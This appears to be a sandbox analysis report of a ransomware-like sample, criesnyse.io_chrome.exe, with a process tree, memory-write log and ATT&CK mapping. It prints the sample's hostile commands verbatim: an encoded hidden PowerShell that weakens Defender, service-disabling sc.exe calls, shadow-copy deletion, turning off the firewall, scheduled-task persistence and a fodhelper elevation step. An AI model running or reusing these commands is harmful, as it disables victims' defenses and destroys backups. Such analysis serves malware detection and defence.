PID 4796 wrote to memory of 5712	4796	criesnyse.io_chrome.exe	120
PID 1788 wrote to memory of 4556	1788	fodhelper.exe	122
PID 4796 wrote to memory of 3052	4796	criesnyse.io_chrome.exe	123
PID 4796 wrote to memory of 4068	4796	criesnyse.io_chrome.exe	125
PID 4796 wrote to memory of 3544	4796	criesnyse.io_chrome.exe	132
PID 4796 wrote to memory of 4148	4796	criesnyse.io_chrome.exe	133
PID 4796 wrote to memory of 4448	4796	criesnyse.io_chrome.exe	135
PID 4796 wrote to memory of 4436	4796	criesnyse.io_chrome.exe	140
PID 4796 wrote to memory of 3576	4796	criesnyse.io_chrome.exe	142
PID 4796 wrote to memory of 1292	4796	criesnyse.io_chrome.exe	143
PID 4796 wrote to memory of 1140	4796	criesnyse.io_chrome.exe	144
PID 4796 wrote to memory of 2964	4796	criesnyse.io_chrome.exe	145
PID 4796 wrote to memory of 5816	4796	criesnyse.io_chrome.exe	146
PID 4796 wrote to memory of 4888	4796	criesnyse.io_chrome.exe	147
PID 4796 wrote to memory of 4824	4796	criesnyse.io_chrome.exe	153
PID 4796 wrote to memory of 3912	4796	criesnyse.io_chrome.exe	156
PID 4436 wrote to memory of 324	4436	cmd.exe	157
PID 1140 wrote to memory of 4532	1140	cmd.exe	179
PID 3576 wrote to memory of 4396	3576	cmd.exe	160
PID 4888 wrote to memory of 4460	4888	cmd.exe	159
PID 2964 wrote to memory of 5092	2964	cmd.exe	161
PID 1292 wrote to memory of 5420	1292	cmd.exe	162
PID 5816 wrote to memory of 3736	5816	cmd.exe	163
PID 5092 wrote to memory of 2576	5092	net.exe	164
PID 4796 wrote to memory of 2892	4796	criesnyse.io_chrome.exe	165
PID 4436 wrote to memory of 5352	4436	cmd.exe	166
PID 4796 wrote to memory of 5224	4796	criesnyse.io_chrome.exe	167
PID 4796 wrote to memory of 4844	4796	criesnyse.io_chrome.exe	169
PID 4796 wrote to memory of 2148	4796	criesnyse.io_chrome.exe	171
PID 4796 wrote to memory of 4496	4796	criesnyse.io_chrome.exe	172
PID 4796 wrote to memory of 5212	4796	criesnyse.io_chrome.exe	174
PID 4796 wrote to memory of 6044	4796	criesnyse.io_chrome.exe	175
PID 2148 wrote to memory of 4532	2148	net.exe	179
PID 3800 wrote to memory of 3904	3800	chrome.exe	180
PID 3800 wrote to memory of 2404	3800	chrome.exe	181
PID 3800 wrote to memory of 2404	3800	chrome.exe	181
PID 3800 wrote to memory of 5828	3800	chrome.exe	182
PID 3800 wrote to memory of 5828	3800	chrome.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\criesnyse.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\criesnyse.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4796
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://criesnyse.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3800
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x58,0x134,0x7fff2f6cc728,0x7fff2f6cc734,0x7fff2f6cc740
    3⤵
    PID:1512
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1468,i,96480190571173831,10520090478402361420,524288 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=2120 /prefetch:11
    3⤵
    - System Time Discovery
    PID:1892
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1608,i,15545237425632580476,5716977973154329169,262144 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=1916 /prefetch:2
    3⤵
    PID:3468
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2312,i,17498113556361371186,8682248796847916352,524288 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=2380 /prefetch:13
    3⤵
    PID:5640
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3132,i,10360960060909780456,13584201900574947403,2097152 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=3272 /prefetch:1
    3⤵
    PID:5736
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3140,i,4604843828139361238,13375491760213122629,2097152 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=3308 /prefetch:1
    3⤵
    PID:752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4700,i,7306130008145789060,12250580924017073488,2097152 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=4720 /prefetch:1
    3⤵
    PID:4576
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3140,i,17782904282649666082,7269127866325735452,524288 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=3116 /prefetch:14
    3⤵
    PID:4596
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4988,i,16698670296440107075,1059543474340074379,524288 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=3464 /prefetch:14
    3⤵
    PID:3904
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5540,i,16294416381236880799,7481920580844792443,2097152 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=3448 /prefetch:1
    3⤵
    PID:2404
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5552,i,1893063468597244846,7684097054215651074,2097152 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=5564 /prefetch:1
    3⤵
    PID:5828
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5812,i,12448005367500973750,2587899592642492843,2097152 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=5132 /prefetch:1
    3⤵
    PID:3884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5868,i,14212815637828813226,1051237173380278470,524288 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=6044 /prefetch:14
    3⤵
    PID:4644
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6004,i,14901905115368999999,7482530131136787984,2097152 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:1
    3⤵
    PID:3404
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5692,i,1013070775872782752,16936592511939867869,2097152 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=5612 /prefetch:1
    3⤵
    PID:5672
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6060,i,15544777522568180611,5202548666391153870,2097152 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=6004 /prefetch:1
    3⤵
    PID:1248
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5568,i,6548909089287269223,18048803493181672086,2097152 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=6120 /prefetch:1
    3⤵
    PID:1652
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5576,i,4119588974992754642,11852038821603502214,2097152 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=6060 /prefetch:1
    3⤵
    PID:4668
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5996,i,18013715728308243165,18006675971450912796,524288 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=6096 /prefetch:14
    3⤵
    PID:4768
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5552,i,56941502205741542,4567813231668547249,524288 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=3456 /prefetch:14
    3⤵
    PID:4116
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5124,i,14860790070209469601,15039051520167846705,2097152 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=6200 /prefetch:9
    3⤵
    PID:4664
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5236,i,12586906749799322376,13424277697300860712,2097152 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=5180 /prefetch:1
    3⤵
    PID:1488
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6140,i,14147496377539899177,9013735918720287369,524288 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=4700 /prefetch:14
    3⤵
    PID:3940
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5684,i,13639052794477029986,5773313705697134809,524288 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=6048 /prefetch:14
    3⤵
    PID:4776
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6060,i,16503628170174948336,6138486369584284896,524288 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=5976 /prefetch:14
    3⤵
    PID:5592
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5700,i,16958812372977228093,5121269997446253387,262144 --field-trial-handle=1920,i,30648003742380352,16861216334382020968,262144 --variations-seed-version --mojo-platform-channel-handle=5256 /prefetch:10
    3⤵
    PID:4804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2540
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4548
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:6140
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:1068
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:1260
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3940
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2156
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:2664
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2912
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1788
- - C:\Users\Admin\AppData\Local\Temp\criesnyse.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\criesnyse.io_chrome.exe"
    3⤵
    PID:4556
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5816
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5712
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3052
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4068
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3544
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\criesnyse.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4148
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\criesnyse.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4448
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4436
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:324
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5352
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3576
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4396
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1292
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5420
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1140
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:4532
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2964
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5092
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:2576
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5816
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:3736
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4888
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:4460
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\criesnyse.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4824
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1260
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:3912
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2892
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5224
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4844
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2148
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:4532
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4496
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5212
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:6044

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4916

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2000

C:\Users\Admin\AppData\Local\Temp\criesnyse.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\criesnyse.io_chrome.exe
1⤵
PID:4864

C:\Users\Admin\AppData\Local\Temp\criesnyse.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\criesnyse.io_chrome.exe
1⤵
PID:308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4484

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery